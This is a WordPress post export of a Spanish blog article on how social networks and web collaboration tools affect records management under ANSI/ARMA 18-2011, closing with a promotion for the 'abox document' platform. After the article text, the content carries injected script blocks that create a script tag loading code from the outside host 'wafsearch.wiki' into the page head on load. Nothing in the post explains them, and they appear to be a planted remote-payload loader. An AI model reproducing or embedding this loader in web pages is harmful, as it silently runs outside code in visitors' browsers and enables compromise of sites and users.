{"id":725,"date":"2012-05-21T16:51:36","date_gmt":"2012-05-21T14:51:36","guid":{"rendered":"http:\/\/www.blocument.com\/?p=725"},"modified":"2026-03-20T06:20:29","modified_gmt":"2026-03-20T11:20:29","slug":"implicaciones-de-las-tecnologias-web-y-redes-sociales-para-los-sistemas-de-gestion-documental","status":"publish","type":"post","link":"https:\/\/www.adapting.com\/en\/implicaciones-de-las-tecnologias-web-y-redes-sociales-para-los-sistemas-de-gestion-documental\/","title":{"rendered":"Implicaciones de las tecnolog\u00edas web y redes sociales para los sistemas de gesti\u00f3n documental"},"content":{"rendered":"<p><a href=\"https:\/\/www.adapting.com\/wp-content\/uploads\/2012\/05\/redes-sociales.jpg\"><img loading=\"lazy\" class=\"alignleft size-thumbnail wp-image-728\" title=\"redes sociales y gesti\u00f3n documental\" src=\"https:\/\/www.adapting.com\/wp-content\/uploads\/2012\/05\/redes-sociales-150x150.jpg\" alt=\"redes sociales y gesti\u00f3n documental\" width=\"150\" height=\"150\" srcset=\"https:\/\/www.adapting.com\/wp-content\/uploads\/2012\/05\/redes-sociales-150x150.jpg 150w, https:\/\/www.adapting.com\/wp-content\/uploads\/2012\/05\/redes-sociales-300x300.jpg 300w, https:\/\/www.adapting.com\/wp-content\/uploads\/2012\/05\/redes-sociales-1024x1024.jpg 1024w, https:\/\/www.adapting.com\/wp-content\/uploads\/2012\/05\/redes-sociales-1536x1536.jpg 1536w, https:\/\/www.adapting.com\/wp-content\/uploads\/2012\/05\/redes-sociales-2048x2048.jpg 2048w, https:\/\/www.adapting.com\/wp-content\/uploads\/2012\/05\/redes-sociales-100x100.jpg 100w\" sizes=\"(max-width: 150px) 100vw, 150px\" \/><\/a>\u00a0En una de las reuniones del <strong>Comit\u00e9 T\u00e9cnico de Normalizaci\u00f3n CTN-50\/SC1 de Aenor<\/strong>, del que <strong>Adapting<\/strong> es miembro, se nos pidi\u00f3 comentar una reciente norma publicada por la Asociaci\u00f3n Americana de Archivistas y que abordaba la convivencia de la gesti\u00f3n documental y las redes sociales. A continuaci\u00f3n, nuestros comentarios al respecto.<\/p>\n<hr size=\"2\" \/>\n<p>Cada vez m\u00e1s organizaciones emplean herramientas web, tecnolog\u00edas colaborativas y redes sociales en su estrategia de negocio. S\u00f3lo debemos fijarnos en la cantidad de enlaces a Facebook, Twitter, foros, etc., que se incorporan a la p\u00e1gina web de empresas l\u00edderes y el uso cada vez m\u00e1s frecuente de herramientas colaborativas entre los empleados y clientes: intranets, extranets, chats, encuestas, wikis, etc.<\/p>\n<p>Sin embargo, si ya antes exist\u00edan riesgos incluso con las pr\u00e1ctica de una gesti\u00f3n documental profesionalizada (entendiendo como tal aqu\u00e9lla guiada por los principios de una gesti\u00f3n vinculada a las normas ISO-15489 y desde este a\u00f1o tambi\u00e9n ISO-30301), la irrupci\u00f3n de este tipo de tecnolog\u00edas sociales impondr\u00e1 todav\u00eda mayores retos para el mantenimiento de las buenas pr\u00e1cticas en gesti\u00f3n documental.<\/p>\n<p>ARMA International (La <strong>Asociaci\u00f3n Americana de Archivistas<\/strong>, asociaci\u00f3n sin \u00e1nimo de lucro con 11.000 miembros y fundada en 1955) <strong>ha editado<\/strong> recientemente una <strong>norma<\/strong> sobre las<strong> Implicaciones de Tecnolog\u00edas Colaborativas basadas en Web para la Gesti\u00f3n Documental Profesional<\/strong> (Implications of Web-Based Collaborative Technologies in Records Management- ANSI\/ARMA 18-2011).<\/p>\n<p>En esta norma americana, que se va a proponer a ISO como norma internacional, se analiza la <strong>aplicaci\u00f3n<\/strong> <strong>de<\/strong> los principios generalmente aceptados de<strong> buenas pr\u00e1cticas en gesti\u00f3n documental y archivos al mundo de las tecnolog\u00edas colaborativas basadas en la web<\/strong>. En concreto, se analizan los ocho principios de: responsabilidad, integridad, protecci\u00f3n, cumplimiento legislativo, disponibilidad, retenci\u00f3n, disposici\u00f3n y transparencia.<br \/>\nPara cada uno de estos principios se establecen recomendaciones para un buen uso de las herramientas web, en el contexto de las buenas pr\u00e1cticas en gesti\u00f3n documental.<\/p>\n<p>Un an\u00e1lisis de estas recomendaciones nos lleva a ciertas <strong>conclusiones<\/strong> que quiz\u00e1 a algunos les puedan resultar curiosas o cuanto menos novedosas:<\/p>\n<ul>\n<li>Es necesario poder auditar cualquier actividad de empleados o clientes que se realice en redes sociales o herramientas web colaborativas, en representaci\u00f3n de o dirigidas a la organizaci\u00f3n.<\/li>\n<li>Se le deber\u00eda dar la misma importancia y\/o tratamiento a cualquier manifestaci\u00f3n en este tipo de medios, que a otras manifestaciones internas (documentos o memorandos).<\/li>\n<li>Este tipo de tecnolog\u00edas no dejan de ser una extensi\u00f3n de la organizaci\u00f3n, por lo que estar\u00e1n sujetas a las mismas normas y obligaciones del resto de informaci\u00f3n y documentaci\u00f3n de la empresa.<\/li>\n<li>Existe la necesidad de poder buscar y guardar como evidencia cualquier informaci\u00f3n, documento, imagen o di\u00e1logo vertido en estos medios. Se tendr\u00e1 que poder retener y disponer de estos datos de una forma acorde a las pol\u00edticas internas correspondientes.<\/li>\n<\/ul>\n<p>Todos estos requisitos puede que le parezcan l\u00f3gicos a la persona responsable de archivos; sin embargo, pueden convertirse en una <strong>pesadilla<\/strong> para los tecn\u00f3logos o responsables de sistemas, puesto que si ya antes era complicado mantener y distribuir la informaci\u00f3n y los documentos en un sistema tradicional, \u00bfc\u00f3mo se va a poder llevar estos mismos requisitos a internet y adem\u00e1s con plataformas externas, sobre las que dif\u00edcilmente se puede tener control (pensemos en portales como Facebook o Twitter)?<\/p>\n<h5>\u00bfC\u00f3mo podemos preparar nuestro software para lo que se nos viene encima?<\/h5>\n<p>Si bien es imposible conseguir un software que cumpla desde el primer d\u00eda con todos los requisitos, no s\u00f3lo de gesti\u00f3n documental profesional, sino tambi\u00e9n respecto a las nuevas implicaciones de los servicios web de colaboraci\u00f3n y redes sociales, no hay que desesperar.<br \/>\nDebemos prepararnos para lo que nos espera. En este contexto, algunas <strong>recomendaciones<\/strong>:<\/p>\n<ul>\n<li>No construir la casa por el tejado. Existen aplicaciones 100% web que dicen estar integradas con todas las redes sociales y todas las tecnolog\u00edas web posibles. \u00bfPero realmente permiten realizar una gesti\u00f3n documental profesional y una gesti\u00f3n de los documentos como evidencias?<\/li>\n<li>Primero las bases, luego la integraci\u00f3n. Se requiere un software que le permita gestionar su informaci\u00f3n conforme a los ocho principios de buenas pr\u00e1cticas mencionados, pero de una forma sistem\u00e1tica e integrada con todos los sistemas y aplicativos de la compa\u00f1\u00eda. A partir de ah\u00ed, deberemos tratar de integrarnos con sistemas externos basados en web.<\/li>\n<li>Empleo de est\u00e1ndares. Busquemos soluciones que nos proporcionen est\u00e1ndares para el manejo y la integraci\u00f3n con otras aplicaciones.<\/li>\n<\/ul>\n<hr size=\"2\" \/>\n<p><strong>abox document<\/strong> es una plataforma de gesti\u00f3n documental y contenidos inspirada en las normas internacionales <strong>ISO-15489, ISO-30301<\/strong> y requisitos funcionales de <strong>Moreq2010<\/strong>.<\/p>\n<p>Es <strong>100% web<\/strong> y le permite gestionar contenidos de internet (comentarios, fotos, tweets, hiperenlaces, etc) y tratarla internamente como informaci\u00f3n de inter\u00e9s para el archivo (<strong>evidencias<\/strong>), cumpliendo as\u00ed con los requisitos de una <strong>gesti\u00f3n documental profesional<\/strong>.<script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 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